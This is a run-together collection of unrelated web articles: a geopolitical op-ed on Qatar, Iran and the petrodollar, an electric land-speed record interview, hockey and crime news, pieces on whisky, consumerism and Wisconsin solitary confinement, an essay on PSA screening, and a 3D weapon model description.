Some have accused Trump of making novice blunders during his first lumbering foray into the Middle Eastern maelstrom. But I think he knows exactly what he's doing. He knows very well that the loosely-defined ‘ideology’ he speaks of as ‘spreading venom’ will be much more readily interpreted by his hosts as Shiism – the creed to which Iran actually subscribes – than as Wahhabism, the sectarian ideology behind IS, Al-Qaeda and the Saudi state.
And just to make clear what he is demanding be done to this ill-defined (but, nudge-wink, understood) enemy, he spells it out: “A better future is only possible if your nations drive out the terrorists and extremists. Drive. Them. Out… Drive them out of this Earth.”
Doesn't this sound horribly like Trump giving the green light to an all-out war of eradication against the region’s Shia – that is, a war very similar to the one actually being waged, in Syria, Yemen and elsewhere, by Trump’s government, his hosts and their proxies?
At the same time, having found it harder than expected to rip up the Iran deal, Trump is instead hoping to render it null and void by simply blackmailing individual nations into not dealing with Iran, ensuring the formal lifting of sanctions is replaced by an informal blockade.
This is where Qatar comes in. Qatar has clearly not been playing ball with the US-approved, Saudi-led ‘isolate Iran’ program. This is partly because, ever since the current Emir toppled his pro-Saudi father in 1995, the country has made independence from Saudi Arabia a hallmark of its foreign policy. But it is mostly because Qatar and Iran share the world’s largest natural gas field, known in Qatar as North Field and in Iran as South Pars.
In fact, the two countries have had decent relations for some time: in May 2010, for example, in stark contrast to the hardline attitude of his Gulf neighbors, Qatari Emir Al-Thani joined forces with President Assad of Syria, no less, to support Turkey’s diplomatic proposals over Iran’s nuclear program.
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Then, in 2014, in a ‘dry run’ of today’s crisis, the Saudis, UAE and Bahrain withdrew their ambassadors from Doha following a Qatari proposal to help Iran develop its side of the North Field/ South Pars gas field. But what’s taking place now is much more serious. And that is largely because of the likely earth-shattering impact of the decisions surely now being considered by the two powers over where their gas will go, how it will get there. And in what currency it will be sold.
In April of this year, a self-imposed 12-year moratorium on the development of Qatar’s share of North Field came to an end, potentially opening up a flood of Liquefied Natural Gas (LNG) on the market in the years to come. But where will it go? Qatar had originally been hoping to build an LNG pipeline to the Mediterranean Sea via Saudi Arabia, Syria and Turkey; indeed, many have speculated that Assad’s blockage of this proposal in favor of an Iran-Iraq-Turkey route was a major reason for Qatar’s support of the anti-government insurgency there. The failure of this insurgency, however, has spelled the death of this proposal, leaving Qatar bound to look east to Asia – already their biggest customers – for their LNG markets. But most of the existing eastbound LNG pipeline infrastructure is controlled by Iran.
For Qatar, then, cutting its Iran links would be cutting off its nose to spite its face. This is why the Saudis aim to demonstrate that the alternative is having the entire face cut off.
For the US, the stakes couldn't be higher. In 2012, Iran began to accept yuan for its oil and gas payments, followed by Russia in 2015. If this takes off, this could literally spell the beginning of the end of US global power. The dollar is the world's leading reserve currency, in the main, only because oil is currently traded in dollars. Countries seeking foreign exchange reserves as insurance against crises within their own currencies tend to look to the dollar precisely because it is effectively ‘convertible’ into oil, the world's number one commodity.
This global thirst for dollars is what allows the US to print endless amounts of them, virtually for free, which it can then exchange for real goods and services with other countries. This is what is known as ‘seigniorage privileges’; that is, the ability to absorb ever-increasing amounts of goods and services from other countries without having to provide anything of equivalent value in return. In turn, it is this privilege which helps to finance the staggering costs of the US military machine, now running at over $600 billion per year.
Yet this whole system falls apart once other countries stop using the dollar as their prime reserve currency. And they stop doing this once oil stops being traded in dollars. This is one reason why the US was so keen for Saddam Hussein to go after he began trading Iraqi oil in euro.
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And slowly but surely this change is already occurring. In 2012, the People's Bank of China announced it would no longer be increasing its holdings of US dollars, and two years later, Nigeria increased its holdings of yuan from 2 percent to 7 percent of its total foreign exchange reserves. Many other countries are moving in the same direction.
At the same time, China has been on a gold-buying spree, setting up its own twice-daily pricing of gold in yuan in 2012 as part of what the chair of the Shanghai Gold Exchange called the ‘internationalization of renminbi [yuan]’, ultimately aiming towards making yuan fully convertible to gold. Once this happens, the choice for oil-producing countries between trading oil for ever-more-worthless paper dollars, or trading it for convertible-to-gold renminbi will be a no-brainer. For Qatar, the pull may already be irresistible.
Hence the urgency to pre-emptively punish Qatar for its likely move towards a joint venture with Iran to supply Asia with LNG priced in yuan. The aim is to demonstrate that, however economically suicidal it may be in the long term to snub Iran and continue trading in the dollar, it will be politically suicidal in the immediate term to do anything else.
Just how far Trump and his Arab friends are prepared to take this, remains to be seen. But Trump has repeatedly suggested that the whole point of having a military is to use it.Venturi Automobiles targets to reach 400 mph (over 600 km/h) with their 3000 hp strong electric vehicle this week. The current speed record holder is eager to put the Venturi Buckeye Bullet 3 in motion after their previous attempts got canceled due to storms. ElectricAutosport.com previews the event at the Bonneville Salt Flats with team leader David Cooke, explaining what the speed record programme stands for, their ambitions, what they’ve learned and the electric vehicle outlook.
Venturi collaborates with the Ohio State University. The partnership functions as a strategic R&D initiative to provide students a unique experience to extend their engineering education. Cooke is a 29-years-old graduate student from Columbus, Ohio, and has completed a Bachelors and Masters degree in Mechanical Engineering and a minor in Business Management.
ElectricAutosport.com asked him a few questions ahead of the ultimate record attempt.
What are your main responsibilities and tasks as a team leader?
My job as a team leader is to see that the whole programme comes together. I have primary technical and administrative responsibility for the team. In general that means keeping track of the technology and research, schedule, budget, partnerships, and programme operations. We are a small team, so all the members take on many roles. I try to fill in wherever it is needed. From spreadsheets and financial planning to machining and fabrication, to powertrain simulation and testing. My job is very different each day, and I love that.
The VBB3 was ready last year, but weather conditions prevented setting a new record. What have you learned from last year that will help the team to achieve 400 mph?
With this vehicle we are pushing the limits of technology in energy storage, electric motors, motor control, aerodynamics, and on many other fronts. Last year everything was very new and we were at the very beginning of optimising all of this technology. We were able to do some low to mid-speed testing and this experience was extremely valuable. We brought back a lot of data that has allowed us to spend this year optimising the powertrain. We have also continued to test our powertrain on a test bench and the whole vehicle at a low-speed test track, to continue our quest to push the technology to its maximum potential.
Is there an ultimate goal in terms of speed or is it more important to show the world what an electric powertrain is capable of?
With the car in its current configuration, the goal is to reach 400 mph. This would be a huge step for the team. No electric cars other than ours have ever been to 300 mph and only about 10 wheel-driven (gasoline) cars have ever reached the 400 mph mark. We believe in the near future an electric car could go faster than its gasoline counterpart and maybe even be the first to 500 mph. But we’ll save that for VBB4!
What role do the students have in this project? And why is it important to involve them?
Ohio State has a 22-year history in the development, testing, and racing of electric vehicles. We have had electric vehicles on the Bonneville Salt Flats for the past 14 years. During all that time, these programmes have been based on completely volunteer student run programmes. Engineering students become involved with the team to apply their classroom knowledge in a very exciting hands on experience to push the limits of EV technology. Over the years we have found ways to get students some class/laboratory credit, and to retain students to complete graduate degrees focused on specific research areas of the vehicle.
It is the passion and the drive of the students that have pushed this programme to where it is today. The students have primary design responsibility for the vehicle and the majority vehicle systems are manufactured and integrated into the vehicle by the student team. Working with key technology partners such as Venturi Automobiles for the powertrain and A123 systems for the battery pack has allowed the team to take their operations to the next level and implement the latest technology throughout the vehicle.
How important are the driver’s capabilities? Piloting a vehicle capable of 400 mph must be challenging?
When everything is going well the VBB3 is not a difficult race vehicle to drive. The track is long and straight and the vehicle requires minor inputs. The key function of the driver is to be a living part of our data acquisition system. While an average driver might be so overcome with speed he completely forgets the run, our driver Roger Schroer can get out of the race vehicle and completely replay the run to the team. He helps us to understand how the vehicle is performing and where to look in the data for issues. He has an excellent feel for vehicle dynamics and powertrain performance. The other key moment to have an expert in the cockpit is if something goes wrong. Keep in mind at 400 mph the vehicle is covering a mile every nine seconds. At some events the driver only has two or three miles to stop the vehicle, so a split second hesitation can mean life or death.
Venturi Automobiles is an expert in high performance and high efficient powertrains. How important is this partnership?
The Venturi partnership has been the key that allowed Ohio State University to take our programmes to the next level. Venturi’s passion for electric vehicles, experience in vehicle design and racing, and technology in electric powertrain coupled with our vast experience in land speed racing and automotive research and development has been the groundwork of an excellent partnership that has led to the creation the VBB3.
How do you see the market for electric vehicles developing over the next five years? And how soon would it meet usual standards in terms of range?
I think the hybrid and electric vehicle market will continue to grow at a huge pace in the coming years. The public is ready for and even demanding less emissions, higher efficiency and more sustainable solutions. I would argue that range is not a problem for electric vehicles, cost is. It is not difficult to produce a battery pack that could get an equivalent range to conventional vehicles and eventually to fit it into the space of a conventional vehicle is possible with modern batteries. But the problem is that it is a very expensive battery pack and in most cases the public is not ready to pay 50% more for a car with the same capabilities just because it is green. It is our jobs as engineers to continue to develop the technology to allow alternative energy powertrains to compete on all levels, including cost, before they will be a widely adopted solution. The work we do each day with the racing programme pushes the technology to new limits, and helps the consumer products of tomorrow.
Also read: ElectricAutosport.com’s exclusive interview with VBB3 pilot Roger Schroer.Patrick Marleau will be in the San Jose Sharks lineup for a pivotal Game 2 of the Stanley Cup Final on Wednesday night.
Marleau won't be disciplined by the league after a high hit on Pittsburgh Penguins forward Bryan Rust in Game 1 on Monday, the NHL's Department of Player Safety announced.
Department of player safety says Rust's shoulders and chest were the main point of contact on Marleau hit and that Rust was off-balance. — Stephen Whyno (@SWhyno) May 31, 2016
Here's the hit:
Rust was forced from the game, and was diagnosed as day to day with an upper-body injury, with his condition expected to be updated Tuesday. The Penguins will certainly be unhappy with the league's decision, as head coach Mike Sullivan called the play a "blindside hit to the head."
Marleau said after Game 1 that he didn't expect to be hearing from the league, saying he kept his elbow down on the play, which the video corroborates.
"I just kind of let him skate into me," Marleau said, according to Pro Hockey Talk's Jason Brough.
Both Rust and Marleau found the back of the net in Game 1.MOST recession-blighted manufacturers worry that their next order is likely to be for mothballs. Not so Scotland's whisky makers: they are busy bringing old distilleries back to life and building new ones. The reason is not that the British are drowning their economic sorrows; it is that exports of single malts are booming.
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“We were producing 6m litres a year,” says David Cox, a director of the Macallan Distillery, whose whisky is the third-best-selling malt (by volume) in overseas markets. But on the wooded bluff overlooking the River Spey where Macallan has been made since 1824, stills disused since the 1980s have been brought back into use and two vast warehouses have sprouted. New capacity is adding some 2m litres a year, says Mr Cox, and land has been |
effective tools to create new consumers. By the 1950s, consumerism was a core part of the American way of life. In 1955, economist Victor Lebow wrote in the Journal of Retailing:
“Our enormously productive economy demands that we make consumption our way of life, that we convert the buying and use of goods into rituals, that we seek our spiritual satisfactions, our ego satisfactions, in consumption. The measure of social status, of social acceptance, of prestige, is now to be found in our consumptive patterns (…) We need things consumed, burned up, worn out, replaced and discarded at an ever-increasing pace.”
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Excess, clutter, and waste are now everywhere. The average American home has tripled in size since 1950. It contains 300,000 items and over $3,100 worth of unused goods. And still, 1 out of every 10 Americans rent offsite storage, one of the fastest growing segments of the commercial real estate industry. Sixty percent of all clothing ends up in incinerators or landfills within a year. Only 3.1 percent of the world’s children live in America, but they own 40 percent of the toys consumed globally. Nearly 40 percent of food in America goes to waste. Each year, Americans throw away 70 pounds of clothing per person (equal to more than 200 men’s T-shirt).
Something Has To Give: The Ethics of Consumerism
Companies need to maintain a supply of new and cheap products. They look for ways to increase the volume and speed of production while decreasing costs. This often means using cheap material and labor. The Global Slavery Index estimates that 46 million people are in some form of slavery. Many earn very low wages to produce consumer goods for Western markets.
Large fashion retailers have adopted this model aggressively in the last three decades. In 1900, a US household spent 15 percent of its income on clothing. In 1950, it was still 12 percent but, by 2010, it was less than 3 percent. This happened as brands kept pushing prices and costs down. To do that, they moved production to countries with the lowest wages, the least regulation and the least protections for workers. While in 1960 almost all clothes purchased in the US were also made in the US, today it’s less than 2 percent.
For decades, clothing collections were produced twice a year. Now, fast fashion brands launch new collections every week or two. This ultra-fast schedule governs vast, opaque and fragmented supply chains. It creates the context for human rights violation, precarious and unsafe working conditions. A tragic example happened on 24 April 2013. Over 1,130 people were killed and 2,500 injured when the Rana Plaza factory collapsed in Dhaka, Bangladesh.
The Same Excess That Hurts Our Planet Hurts Us
Chronic diseases — such as heart attacks, cancer, diabetes, and Alzheimer’s — are the leading cause of disability and death in the US. They have been increasing at an alarming rate and claim 90 percent of the US healthcare spending. As of 2012, about half of all adult Americans had one or more chronic health conditions. We can prevent, treat or reverse these conditions with lifestyle and dietary changes like eating less meat and junk foods.
In recent years, scientists found toxic chemicals in most of our consumer products. More than 80,000 chemicals are used in commerce in the US, but the vast majority is not tested for health effects. They are used everywhere, including in our food, clothes, furniture, electronics, and cosmetics. Chemicals used in our clothes, for example, can be absorbed by the skin, our largest organ. Half of our clothes are made of cotton, a crop that accounts for 24 percent and 11 percent of the global use of insecticide and pesticides. The other half is mainly made of polyester and other petroleum-derived fibers. About a quarter of the chemicals produced globally are reportedly used in textile. Wrinkle-free clothes, for example, are often treated with formaldehyde, a known carcinogen. Studies found widespread use of phthalates—linked to asthma, diabetes, and autism—in children clothing.
A report for the European Parliament reviewed the latest science on organic food and human health. It highlighted the impact of pesticide exposure during pregnancy on children’s brain development:
“Three long-term birth cohort studies in the U.S. suggest that pesticides are harming children’s brains. In these studies, researchers found that women’s exposure to pesticides during pregnancy (... ) was associated with negative impacts on their children’s IQ and neurobehavioral development, as well as with ADHD diagnoses.”
The impact is greater on children because the brain develops during pregnancy and in the first two years. Exposure during this phase can cause brain injury at low levels that would have little or no effect in an adult. Parents report that 1 in 6 children in the US, 17 percent more than a decade ago, have a developmental disability. In 2015, a group of leading scientists, medical experts, and children’s health advocates formed Project TENDR. They published a scientific statement to warn against chemicals that can harm children.
“The science is in. The science is clear and sufficient and substantial, and what it shows is that toxic chemicals are increasing American children risks for neurodevelopmental disorder including autism, ADHD and intellectual impairment (... ) These include chemicals that are used extensively in consumer products and that have become widespread in the environment.”
Waste, too, comes around. Plastic waste finds its way into the human food chain through contaminated seafood. Recent studies showed it also contaminates air and tap water. A recent investigation found microplastic particles in 94 percent of tap water samples from the US. It was the highest rate of any country in the study.
Your Latest Trick
As consumption patterns accelerated, the act of buying itself took a cultural dimension. Around the world, shopping has become a frequent pastime accessible to all. This has contributed to a rise in materialistic values in our societies. As fields like psychology and neurosciences progressed, researchers started re-visiting the happiness question. What makes us happy? And what happens to our mental health when we live a big part of our life as a consumer?
The answers confirm ancient wisdom and common sense. Once we have enough to cover our essential needs, further material gains have little to do with our well-being. They even tend to come in the way of true happiness. In The High Price of Materialism (2002), Tim Kasser offers this conclusion:
“What stands out across the studies is a simple fact: people who strongly value the pursuit of wealth and possessions report lower psychological well-being than those who are less concerned with such aims (... ) The American dream has a dark side, and the pursuit of wealth and possessions might actually be undermining our well-being”.
Other studies found that, above a certain income, material gains or possessions do not increase happiness. An ongoing 75-years long adult development study led by Harvard tracked the well-being of 724 men and their families. Generations of researchers analyzed brain scans, blood samples, surveys and direct interactions. They recently started to share their findings:
“The clearest message that we get from this 75-year study is this: Good relationships keep us happier and healthier. Period”
This sounds obvious. Yet, we spend a disproportionate amount of time and resources on activities that do not increase well-being or undermine it. If common sense and science both show it, then why are we still so consumed with consumption?
Part of the response relates to how our brain works. Neuroscientists have revealed many biases that trick our brain into making short-term decisions. These biases strongly influence our consumption behaviors. They include survival instinct, forming habits, setting goals, and chasing rewards. Often, they make us choose instant gratification over long-term rewards. Brands are experts at stimulating these instincts through advertising and commercial tactics. Sales, discounts, and coupons trick us into seeking temporary satisfaction from the pursuit of a new desired object. This disconnect between the act of shopping and its outcome (owning a product) results in overspending, clutter, and waste.
Do The Evolution
The word “consumption” first appeared in the 14th century to describe any potentially fatal disease that “consumed” the body.
We know we need to transition to sustainable modes of consumption. Our challenge goes beyond fixing the current model, it is one of imagining a new one. Approaches that focus on fixing the current model exist in reaction to it and don’t offer a new way of doing things. Alternatives such as ethical consumerism or minimalism are unlikely to impact enough people. They often underestimate how deep consumption behaviors are embedded into our culture and habits. Choosing sustainable options requires an investment in time and money that only a small minority of people can afford.
We can imagine a new, higher form of consumption where we are not just sorting through the good and the bad but rediscovering why and how we consume. When we do that, we create endless opportunities to re-imagine and improve our lives. We can start with a few principles:
Start with people, not product. The last century of mass consumption was first driven by the ability to produce at large scale. Once we became able to produce so much, we had to make people consume so much. A more evolved system starts with what people need and want, focusing on when and how we use a product (from pay-to-own to pay-to-use). Design for efficiency and low/no waste. On a planet with finite resources, it does not make sense to produce and consume things in a linear way, from extracting new resources to waste. We need to move to a circular system where we design products to last and be recovered. That way, we also limit the need for new materials (from planned obsolescence to lifetime value). Design for impact. We need solutions that everyone can afford and enjoy, beyond a happy few. We should design services that solve for joy, convenience, sustainability, and affordability. New business and distribution models can unlock this impact (from single users to multi-user networks). Design for trust. Digital tools allow us to re-invent almost any user experience. But this has been dominated by advertising-driven models that monetize people’s attention. Often, they serve brands more than users. We need companies with the courage and creativity to build trust by serving the user first.
We should ask ourselves: What societies do we want for us and for future generations? How do we want to spend our time? How much do we want to spend on activities that fulfill us and contribute to our well-being? How do we reconcile with nature and with ourselves?
As we answer these questions, we should rise to the challenge of health and sustainability, and start building pathways to the future we want.
Read the second part of this story: We’re Building a New Consumption Model and it Starts at the Beginning: Babies
Ali is the Founder and CEO of UpChoose PBC, a startup on a mission to activate consumers’ role in transitioning to a sustainable future.
Learn more on www.upchoose.comWhen he returned from a medical leave in early 2016, psychologist Bradley Boivin discovered a troubling pattern among Waupun Correctional Institution inmates who had been held in solitary confinement.
Thirteen of his patients’ mental health classifications had been changed without Boivin’s knowledge — and in his opinion, without proper assessment.
The re-evaluations came after a July 2015 memo from Deputy Secretary Cathy Jess to psychological staff to reassess the mental health classification of the most seriously mentally ill inmates in solitary confinement, according to a memo provided by Boivin to the Wisconsin Center for Investigative Journalism.
Boivin resigned from Waupun in 2016 because of a “difficult environment” at the prison after he expressed strong disagreement with prison officials over several issues, including the treatment of inmates, especially those with mental illnesses. Boivin said some of the conditions for inmates in solitary confinement are “beyond unacceptable” and “inhumane.”
The mental health reassessment ordered by Jess is part of a push by the administration of Gov. Scott Walker to limit the use of solitary for inmates with serious mental illnesses and to improve conditions for inmates there.
Emily Shullaw for the Wisconsin Center for Investigative Journalism
In its 2017-19 budget request, the Department of Corrections acknowledged that the “overall psychological effects” of solitary confinement are “negative” for inmates already suffering from mental illness and include “increased depression or anxiety, worsening of trauma-related symptoms, insomnia, worsening of psychosis, paranoia, emergence of self-harm behavior, suicide attempts or aggression.”
Boivin agreed that inmates with mental health problems can get worse in solitary.
“Does it (solitary) cause mental illness? Those sorts of things are debated,” Boivin said. “But the reality is you see a lot of mental illness and you see things exacerbated in that environment, and you don’t have to be a rocket scientist, a psychologist, to understand that when you put someone in that kind of an environment — very loud, everywhere you go if you move even to see your therapist you’re shackled — it’s just a very vulgar environment. I refer to it as a very toxic environment.”
Emily Shullaw for the Wisconsin Center for Investigative Journalism
Legislative efforts to curb the use of solitary have been unsuccessful. Assembly Bill 1001, introduced in 2016, would have required the state DOC to “develop evidence-based criteria for confining a prison inmate in a solitary cell” and an audit by the Legislative Audit Bureau on the state’s use of solitary confinement. Senate Bill 803 would have prohibited the use of solitary for any offender under age 18. Both bills, proposed by Democrats, died without a hearing.
In March, Democratic lawmakers led by Sen. LaTonya Johnson of Milwaukee proposed restricting solitary confinement for any inmate with a serious mental illness to no more than 10 days.
DOC spokesman Tristan Cook said the agency already has made some changes. The number of inmates with serious mental illnesses in solitary dropped from 155 inmates to 91 inmates between April 2015 and April 2016, and the number of inmates in administrative confinement with serious mental illnesses has decreased from 11 to 10 inmates, Cook said.
Coburn Dukehart / Wisconsin Center for Investigative Journalism
Walker is proposing additional funding in the 2017-19 budget to improve conditions in solitary, especially for inmates with serious mental illnesses. His budget includes $2.2 million to convert a vacant housing unit at Oshkosh Correctional Institution to house up to 86 inmates with serious mental illnesses or intellectual disabilities who are in so-called restrictive housing status.
The funding would allow inmates to spend 20 hours of out-of-cell time a week, instead of the four hours a week that many prisoners in solitary currently receive. This program requires 10 out-of-cell hours for structured programming and therapy in addition to 10 unstructured out-of-cell hours for activities such as meals and recreation.
The state also is seeking to expand this “10/10” model — currently in use in Colorado — to other prisons. Walker has endorsed a DOC budget request for about $600,000 over two years for increased psychological staff at restrictive housing units at Waupun, Green Bay and Columbia correctional institutions.
At Columbia Correctional Institution, the DOC seeks an additional $773,200 to staff a new Health Services Unit to treat the prison’s large population of chronically and mentally ill inmates. With the completion of the unit and the provision of additional staff, it would operate 24 hours per day, seven days per week.
The governor’s request also includes $591,000 to buy body-worn cameras for staff working in solitary confinement units, where numerous complaints of mistreatment have been lodged.
The Rev. Jerry Hancock, director of Madison’s Prison Ministry Project, a prisoners’ rights advocacy group, said the budget request is “laudable” but also a “far cry” from what Colorado and other states are doing to curtail solitary confinement.
“The Department of Corrections finally has recognized that extended stays in solitary confinement is not appropriate, effective or humane treatment for the more than 2,000 seriously mentally ill people in Wisconsin prisons,” Hancock said in a written statement.
Coburn Dukehart / Wisconsin Center for Investigative Journalism
The Alabama Department of Corrections is awaiting a decision in a class-action lawsuit alleging the serious mental health needs of Alabama inmates are being neglected. The services, as described by the inmates’ attorney, sound similar to those in Wisconsin for prisoners in solitary.
“To the extent that they get any counseling at all, it is a few minutes through their cell door,” Maria Morris, a Southern Poverty Law Center attorney working on the case, told AL.com.
Mental health status questioned
The Wisconsin Center for Investigative Journalism last year sent surveys to more than 100 inmates held in administrative confinement, a form of solitary in which the length of confinement can go on for years, even decades.
Wisconsin Department of Corrections
Some inmates said in response to the Center’s survey that the severity of mental illness among some prisoners in administrative confinement had been downgraded recently by prison officials.
Rayshun Woods, a 30-year-old inmate who spent three years in administrative confinement at Waupun, said he heard from others that their mental health status had been changed to make it appear there were low levels of serious mental illness among inmates in solitary confinement.
According to DOC policy, MH-2 is the highest classification of inmates with serious mental illnesses. It is those inmates, Cook said, that the agency is seeking to move out of restrictive housing.
“About the mental health classification,” Woods wrote, “it came out that inmates with MH-2 are not fit to be in solitary confinement or (administrative confinement), so what they did was drop a lot of inmates’ classification (down) …. just so they will not have to release them from (solitary confinement).”
Boivin said in his professional opinion, the DOC’s mental health classification system is “arbitrary.” He noted that the agency does not classify antisocial personality disorder — in lay terms often referred to as psychopathy or sociopathy — as serious mental illness because “so many inmates are diagnosed with it.”
We sent surveys to more than 100 inmates held in administrative confinement. Here’s what they say their lives are like. Video produced by Coburn Dukehart/Wisconsin Center for Investigative JournalismBen Stiller -- one of the few comedians on this side of the pond who can make me laugh -- said prostate-specific antigen (PSA) testing saved his life. I suspect he wasn't being funny. Stiller had Gleason Grade 7 localized prostate cancer.
Is he right?
The honest answer is that we don't know for certain. Before I get granular, we must visit proof, level of proof and burden of proof. The statement, "there's no proof that Stiller's life was saved by testing for PSA" is correct. But this statement can't be made without determining on whom the burden of proof lies. Is it on those who say PSA testingsaved Stiller's life, or on those who say PSA testing did not save Stiller's life?
We can't ask for proof without stating what level of proof we'll accept. Many won't believe in immaculate conception unless they witness it. You can disprove that Julius Caesar existed if the only proof you'll accept is photographic evidence of his existence. In medicine, level of proof is a sliding scale that you can arbitrarily choose depending on what you wish disproven. Observational studies are no proof unless they prove what you want proven. Randomized control trials are proof unless they disprove what you don't want disproven.
It's easy to confuse evidence for proof. To say there's no proof screening saved Stiller's life is really saying there's no evidence that screening has a net survival benefit. The key word is "net," which, as you may recall from your tax returns, involves subtraction. If the "net" is zero, it doesn't mean it was zero before the subtraction. Net benefit from screening can be zero if treating prostate cancer found by screening causes the same number of deaths as lives saved by screening.
What does "saving a life" in screening even mean? It should mean making a person live longer than they would have lived if they weren't screened. This is difficult to capture. Statistically, "screening saves lives" means fewer deaths from the cancer which is being screened -- in the case of PSA screening, fewer deaths from prostate cancer.
If PSA screening, hypothetically, saves Peter, Tom and Rajeev but kills, because of complications of surgery, Dick and Anil, the net benefit is one. If it also kills Donald, the net benefit is zero. But here is the important point: Even if the net benefit of screening is zero, it still means that screening saved Peter, Tom and Rajeev. I'm amazed that this elementary logic, which can be understood by most middle schoolers, eludes many doctors.
The statement, "there's no proof Stiller's life was not saved by PSA" is also correct. Some get nonjudgmental and say, "there's no more proof that PSA saved Stiller's life than a magical sky pixie saved Stiller's life." This cute, yet sophomoric, reasoning misses a point, which is that a PSA test leading to the discovery of a localized prostate cancer of intermediate grade, could plausibly have saved Stiller's life. What's plausible is down to expertise and judgment, and such nonjudgmentalism which holds PSA testing in the same evidentiary bracket as a magical sky pixie -- that is, egalitarian with expertise -- is not objective, but idiotic.
It is, therefore, plausible and possible that PSA testing saved Stiller's life, but is it probable? This is the crux of the disagreement and depends more on the prognosis of Stiller's tumor than the net survival benefit of PSA screening. Let's consider the latter. The net survival benefit of PSA screening is contentious. The Göteborg trial showed screening for prostate cancer had a measurable treatment effect and 293 people had to be invited for screening to prevent one death from prostate cancer. That's impressive -- for comparison, the number needed to screen to reduce death from lung cancer in heavy smokers is 320. The Prostate, Lung, Colorectal and Ovarian (PLCO) trial failed to show PSA screening saved lives – but the trial was contaminated because 90% in the control group had a PSA test. The PLCO trial compared PSA testing with PSA testing and found, unsurprisingly, that the group that received PSA testing didn't live longer than the group that received PSA testing.
What about the prognosis of Stiller's tumor? According to Dr. Benjamin Davies, Associate Professor of Urology at the University of Pittsburgh, Gleason 7 is precisely the tumor grade which benefits from early detection. It is neither so innocuous that treatment is redundant, nor is it so aggressive that treatment is forlorn -- meaning, if left alone it has a high chance of metastasizing and causing misery and early death. Ironically, Stiller is the worst example for anti-PSA screening.
Screening is beyond net survival benefits. PSA screening can lead to harms from surgery or radiation therapy to the prostate. The value, or disutility, of a harm is subjective and personal. While no man I know will ask Santa Claus for impotence for Christmas, some men would rather die standing than live hanging -- meaning for them impotence is a fate worse than dying early from prostate cancer. Others might want to climb mountains rather than summit molehills -- i.e. they want to live as long as they can. There's no "one size fits all" (pun unintentionally intended). Screening is the mother of all "one size fits all." You might be your neighbor's keeper, but you don't own your neighbor's values.
It gets even more complicated. Urologists are getting better at sparing nerves during prostate surgery. Thanks to advances in MRI, urologists are also getting better at identifying cancers that can safely be watched. Then there's the blue pill that softened prostatectomy's most feared complication. The sledgehammer is getting more nuanced. Harms have reduced. Assessment of screening which incorporates the harms of the past, not the present, is like basing U.S. foreign policy today on the Cold War. This is why the United States Preventive Services Task Force (USPSTF) has erred by excluding urologists and other specialists from its panel. While urologists may not know more epidemiology than epidemiologists, they're arguably more likely to pay attention to the strengths and weaknesses of the trials -- it's their livelihood. It's a bias for sure, but a bias in the direction of the truth. The war against expertise is the strangest battle in a country which admires expertise.
The only objection to screening is philosophical -- i.e. what you view the role of medicine in society to be. For what it's worth, I wouldn't support screening were I the healthcare czar. But I won't pretend that my objections are empirical because it is impossible making a rational empirical objection to any one screening test without specifying, ex ante, the precise treatment benefit and its uncertainty needed before approval. The harms, as I alluded to, are subjective and a moving target. It is inconsistent holding screening for prostate cancer to all-cause mortality reduction (highest standard of proof), yet approving screening for colorectal cancer, which has not met that bar.
I understand why urologists are pissed off that the USPSTF has knocked down PSA testing, but not mammograms. On its face, and even exploring more deeply, there seems little justification. The prostate, an organ which doesn't have the prettiest real estate -- separated though it is from the rectum by the tough fascia of Denonvillier -- is a neglected child. But someone must look after it. And it's disheartening that whilst us boys wear pink to increase breast cancer awareness, the sisters never return the favor. When was the last time you saw a woman wearing blue to increase prostate cancer awareness?
Screening, an individual choice, has become a societal prerogative. This is bound to cause cognitive dissonance. Some have adopted a middle ground and said screening should be down to shared decision making (SDM). How will you conduct SDM for PSA screening? It's not as easy as you think. Let me present a vignette.
Rajeev: "My wife wants me to get my PSA tested."
Doctor: "Hold on, Rajeev. Let's first engage in shared decision making. I'm going to give you possibilities about your future and then explore your values, culture and expectations, before integrating them with the best available evidence so that you make an informed decision whether to pursue a PSA test."
Rajeev: "You, what?"
Doctor: "Here is your future:
a) You will die from a urinary tract infection in a nursing home abandoned by your family and friends.
b) You will die an early and miserable death from prostate cancer if not screened and also miss your daughter's wedding.
c) If screened, and a cancer found and treated, you will live much longer and celebrate more birthdays.
d) If screened, and a cancer found and treated, you will die the same time as you would have if you weren't screened.
e) If screened, and a cancer found and treated, you will be left impotent, and still die from a urinary tract infection in a nursing home abandoned by your family and friends.
f) You and I will both be blown up by ISIS, or have to build a wall along the 28th parallel."
Rajeev: "You're confusing me, Doctor. Which one of (a) to (f) will happen to me?"
Doctor: "Your guess is as good as mine."
Sure, throw some numbers to help Rajeev make an informed choice. But I suspect Rajeev, and others from his culture, won't care too much about probabilities. You're the doctor, not him. He's come to you for your opinion, not his.
Which gets me back to Stiller. Some say he's spreading misinformation by advocating PSA screening. I'd argue it's not possible to spread misinformation about screening because we don't have a clue. Screening is an information problem – some benefit, some are harmed, but we don't know who will benefit or who will be harmed. This has a name. It's called "uncertainty." I'm a huge advocate of public uncertainty. The more uncertain members of the public are, the less vice-like grip certitude has over them, the less religious and dogmatic they are, the better the world will be.
Ben Stiller has increased the public uncertainty about PSA screening. I think that's a good thing.
Saurabh Jha is a radiologist and can be reached on Twitter @RogueRad. This article originally appeared in the Health Care Blog, and also appeared on KevinMD.com.
1969-12-31T19:00:00-0500This weapon is slightly different in the fact that it's my first commission! Please note that I did not create the weapon, I simply modeled it in the 3D world. The weapon was created and drawn by Jonarus-Drakus - visit his deviant art page to see some more of his OCs! ( jonarus-drakus.deviantart.com/...)See my journal post ( Concerning Commissions - 3D Weapon Models ) for details on my commissions.Watch it transform: www.youtube.com/watch?v=TYEIpM… Raffinert Renser is a medium Caliber (.308 full-rifle - specialist Ice-dust infused rounds) select-fire assault-rifle with a maximum rate-of-fire of 200rpm (semi) to 600rpm (full). When colapsed into pistol mode, both firing options remain, although with reduced accuracy and worse recoil.*Description created by Jonarus-DrakusI appreciate any comments/feedback anyone may have on how to better improve the weapon, or my animation in general, let me know what you think!Please do not use without permission.Mexican police have detained a polygamous cult leader wanted in the United States on charges of pedophilia and who is a suspect in the murder of three U.S. citizens in Mexico.
Orson William Black Jr. was arrested in the Mexican border state of Chihuahua along with his four wives and 22 other people, including minors, state prosecutors said in a statement.
In a joint operation with the U.S. Federal Bureau of Investigation (FBI), about 100 police officers swooped down on three houses and two ranches where Black and his followers were living, the statement said.
The arrests followed an investigation into the September 10 murder of three U.S. citizens in the region, aged 15, 19 and 23.
Black is a suspect in the murder of three men, but has not yet been charged. He is also facing human trafficking charges.
For now, Black and others arrested are accused of entering Mexico illegally, and animal cruelty, after police found butchered and frozen animals on the properties.
